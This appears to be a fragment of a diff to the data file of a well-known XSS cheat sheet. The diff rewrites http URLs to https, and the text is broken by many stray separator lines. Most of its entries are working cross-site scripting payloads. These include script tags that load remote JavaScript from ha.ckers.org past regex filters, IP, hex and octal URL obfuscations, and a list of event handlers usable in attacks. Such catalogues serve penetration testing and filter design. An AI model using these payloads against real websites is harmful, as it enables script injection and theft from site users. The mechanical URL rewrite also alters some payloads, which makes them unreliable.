<desc>Originally found by Begeek (https://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag.</desc>
|
|
|
|
|
|
|
|
|
|
<label>Embedded Character Attacks</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
|
|
|
|
|
@ -892,7 +892,7 @@ alert(a.source)</SCRIPT></code>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Event Handlers List 1</name>
|
|
|
|
|
<code>See Below</code>
|
|
|
|
|
<desc>Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates:
|
|
|
|
|
<desc>Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (https://www.secaron.de/) for the HTML+TIME updates:
|
|
|
|
|
|
|
|
|
|
-FSCommand() (execute from within an embedded Flash object)
|
|
|
|
|
|
|
|
|
|
@ -1103,7 +1103,7 @@ alert(a.source)</SCRIPT></code>
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Evade Regex Filter 1</name>
|
|
|
|
|
<code><SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
|
|
|
|
|
<code><SCRIPT a=">" SRC="https://ha.ckers.org/xss.js"></SCRIPT></code>
|
|
|
|
|
|
|
|
|
|
<desc>For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of the following regex filter:
|
|
|
|
|
/<script[^>]+src/i</desc>
|
|
|
|
|
@ -1113,7 +1113,7 @@ alert(a.source)</SCRIPT></code>
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Evade Regex Filter 2</name>
|
|
|
|
|
<code><SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
|
|
|
|
|
<code><SCRIPT ="blah" SRC="https://ha.ckers.org/xss.js"></SCRIPT></code>
|
|
|
|
|
<desc>For performing XSS on sites that allow "<SCRIPT>" but don't allow "<SCRIPT SRC..." by way of a regex filter:
|
|
|
|
|
/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i
|
|
|
|
|
|
|
|
|
|
@ -1125,7 +1125,7 @@ alert(a.source)</SCRIPT></code>
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Evade Regex Filter 3</name>
|
|
|
|
|
<code><SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
|
|
|
|
|
<code><SCRIPT a="blah" '' SRC="https://ha.ckers.org/xss.js"></SCRIPT></code>
|
|
|
|
|
<desc>Another XSS to evade this regex filter:
|
|
|
|
|
/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i</desc>
|
|
|
|
|
|
|
|
|
|
@ -1135,7 +1135,7 @@ alert(a.source)</SCRIPT></code>
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Evade Regex Filter 4</name>
|
|
|
|
|
<code><SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
|
|
|
|
|
<code><SCRIPT "a='>'" SRC="https://ha.ckers.org/xss.js"></SCRIPT></code>
|
|
|
|
|
<desc>Yet another XSS to evade the same filter:
|
|
|
|
|
/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i
|
|
|
|
|
The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags)</desc>
|
|
|
|
|
@ -1146,7 +1146,7 @@ The only thing I've seen work against this XSS attack if you still want to
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Evade Regex Filter 5</name>
|
|
|
|
|
<code><SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
|
|
|
|
|
<code><SCRIPT a=`>` SRC="https://ha.ckers.org/xss.js"></SCRIPT></code>
|
|
|
|
|
<desc>And one last XSS attack (using grave accents) to evade this regex:
|
|
|
|
|
/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i</desc>
|
|
|
|
|
|
|
|
|
|
@ -1156,7 +1156,7 @@ The only thing I've seen work against this XSS attack if you still want to
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Filter Evasion 1</name>
|
|
|
|
|
<code><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
|
|
|
|
|
<code><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="https://ha.ckers.org/xss.js"></SCRIPT></code>
|
|
|
|
|
|
|
|
|
|
<desc>This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content.</desc>
|
|
|
|
|
<label>XSS w/HTML Quote Encapsulation</label>
|
|
|
|
|
@ -1165,7 +1165,7 @@ The only thing I've seen work against this XSS attack if you still want to
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Filter Evasion 2</name>
|
|
|
|
|
<code><SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT></code>
|
|
|
|
|
<code><SCRIPT a=">'>" SRC="https://ha.ckers.org/xss.js"></SCRIPT></code>
|
|
|
|
|
<desc>Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly.</desc>
|
|
|
|
|
|
|
|
|
|
<label>XSS w/HTML Quote Encapsulation</label>
|
|
|
|
|
@ -1174,8 +1174,8 @@ The only thing I've seen work against this XSS attack if you still want to
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>IP Encoding</name>
|
|
|
|
|
<code><A HREF="http://66.102.7.147/">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).</desc>
|
|
|
|
|
<code><A HREF="https://66.102.7.147/">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "https://www.google.com/" is programmatically disallowed).</desc>
|
|
|
|
|
|
|
|
|
|
<label>URL Obfuscation</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
|
|
|
|
|
@ -1183,8 +1183,8 @@ The only thing I've seen work against this XSS attack if you still want to
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>URL Encoding</name>
|
|
|
|
|
<code><A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).</desc>
|
|
|
|
|
<code><A HREF="https://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "https://www.google.com/" is programmatically disallowed).</desc>
|
|
|
|
|
|
|
|
|
|
<label>URL Obfuscation</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
|
|
|
|
|
@ -1192,8 +1192,8 @@ The only thing I've seen work against this XSS attack if you still want to
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Dword Encoding</name>
|
|
|
|
|
<code><A HREF="http://1113982867/">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).</desc>
|
|
|
|
|
<code><A HREF="https://1113982867/">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "https://www.google.com/" is programmatically disallowed).</desc>
|
|
|
|
|
|
|
|
|
|
<label>URL Obfuscation</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
|
|
|
|
|
@ -1201,8 +1201,8 @@ The only thing I've seen work against this XSS attack if you still want to
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Hex Encoding</name>
|
|
|
|
|
<code><A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).
|
|
|
|
|
<code><A HREF="https://0x42.0x0000066.0x7.0x93/">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "https://www.google.com/" is programmatically disallowed).
|
|
|
|
|
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required.</desc>
|
|
|
|
|
|
|
|
|
|
<label>URL Obfuscation</label>
|
|
|
|
|
@ -1211,8 +1211,8 @@ The total size of each number allowed is somewhere in the neighborhood of 240 to
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Octal Encoding</name>
|
|
|
|
|
<code><A HREF="http://0102.0146.0007.00000223/">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).
|
|
|
|
|
<code><A HREF="https://0102.0146.0007.00000223/">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "https://www.google.com/" is programmatically disallowed).
|
|
|
|
|
Padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...</desc>
|
|
|
|
|
|
|
|
|
|
<label>URL Obfuscation</label>
|
|
|
|
|
@ -1222,7 +1222,7 @@ Padding is allowed, although you must keep it above 4 total characters per class
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Mixed Encoding</name>
|
|
|
|
|
<code><A HREF="h
tt	p://6&#09;6.000146.0x7.147/">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).
|
|
|
|
|
<desc>URL string evasion (assuming "https://www.google.com/" is programmatically disallowed).
|
|
|
|
|
The tabs and newlines only work if this is encapsulated with quotes.</desc>
|
|
|
|
|
|
|
|
|
|
<label>URL Obfuscation</label>
|
|
|
|
|
@ -1232,8 +1232,8 @@ The tabs and newlines only work if this is encapsulated with quotes.</desc>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Protocol Resolution Bypass</name>
|
|
|
|
|
<code><A HREF="//www.google.com/">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).
|
|
|
|
|
Protocol resolution bypass (// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh (http://planetOzh.com/) for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.</desc>
|
|
|
|
|
<desc>URL string evasion (assuming "https://www.google.com/" is programmatically disallowed).
|
|
|
|
|
Protocol resolution bypass (// translates to https:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh (https://planetOzh.com/) for part of this one). You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.</desc>
|
|
|
|
|
|
|
|
|
|
<label>URL Obfuscation</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
|
|
|
|
|
@ -1250,7 +1250,7 @@ Protocol resolution bypass (// translates to http:// which saves a few more byte
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Firefox Lookups 2</name>
|
|
|
|
|
<code><A HREF="http://ha.ckers.org@google">XSS</A></code>
|
|
|
|
|
<code><A HREF="https://ha.ckers.org@google">XSS</A></code>
|
|
|
|
|
<desc>This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera.</desc>
|
|
|
|
|
|
|
|
|
|
<label>URL Obfuscation</label>
|
|
|
|
|
@ -1259,7 +1259,7 @@ Protocol resolution bypass (// translates to http:// which saves a few more byte
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Firefox Lookups 3</name>
|
|
|
|
|
<code><A HREF="http://google:ha.ckers.org">XSS</A></code>
|
|
|
|
|
<code><A HREF="https://google:ha.ckers.org">XSS</A></code>
|
|
|
|
|
<desc>This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google").</desc>
|
|
|
|
|
|
|
|
|
|
<label>URL Obfuscation</label>
|
|
|
|
|
@ -1268,8 +1268,8 @@ Protocol resolution bypass (// translates to http:// which saves a few more byte
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Removing Cnames</name>
|
|
|
|
|
<code><A HREF="http://google.com/">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).
|
|
|
|
|
<code><A HREF="https://google.com/">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "https://www.google.com/" is programmatically disallowed).
|
|
|
|
|
When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly.</desc>
|
|
|
|
|
|
|
|
|
|
<label>URL Obfuscation</label>
|
|
|
|
|
@ -1278,8 +1278,8 @@ When combined with the above URL, removing "www." will save an additio
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Extra dot for Absolute DNS</name>
|
|
|
|
|
<code><A HREF="http://www.google.com./">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed).</desc>
|
|
|
|
|
<code><A HREF="https://www.google.com./">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "https://www.google.com/" is programmatically disallowed).</desc>
|
|
|
|
|
|
|
|
|
|
<label>URL Obfuscation</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
|
|
|
|
|
@ -1287,8 +1287,8 @@ When combined with the above URL, removing "www." will save an additio
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>JavaScript Link Location</name>
|
|
|
|
|
<code><A HREF="javascript:document.location='http://www.google.com/'">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "http://www.google.com/" is programmatically disallowed)
|
|
|
|
|
<code><A HREF="javascript:document.location='https://www.google.com/'">XSS</A></code>
|
|
|
|
|
<desc>URL string evasion (assuming "https://www.google.com/" is programmatically disallowed)
|
|
|
|
|
JavaScript link location</desc>
|
|
|
|
|
|
|
|
|
|
<label>URL Obfuscation</label>
|
|
|
|
|
@ -1297,8 +1297,8 @@ JavaScript link location</desc>
|
|
|
|
|
</attack>
|
|
|
|
|
<attack>
|
|
|
|
|
<name>Content Replace</name>
|
|
|
|
|
<code><A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A></code>
|
|
|
|
|
<desc>Content replace as an attack vector (assuming "http://www.google.com/" is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like http://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector ("java&#x26;#x09;script:" was converted into "java&#x09;script:".</desc>
|
|
|
|
|
<code><A HREF="https://www.gohttps://www.google.com/ogle.com/">XSS</A></code>
|
|
|
|
|
<desc>Content replace as an attack vector (assuming "https://www.google.com/" is programmatically replaced with null). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (like https://quickwired.com/kallahar/smallprojects/php_xss_filter_function.php) to help create the attack vector ("java&#x26;#x09;script:" was converted into "java&#x09;script:".</desc>
|
|
|
|
|
|
|
|
|
|
<label>URL Obfuscation</label>
|
|
|
|
|
<browser>Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>]</browser>
|
|
|
|
|
|
aschwarz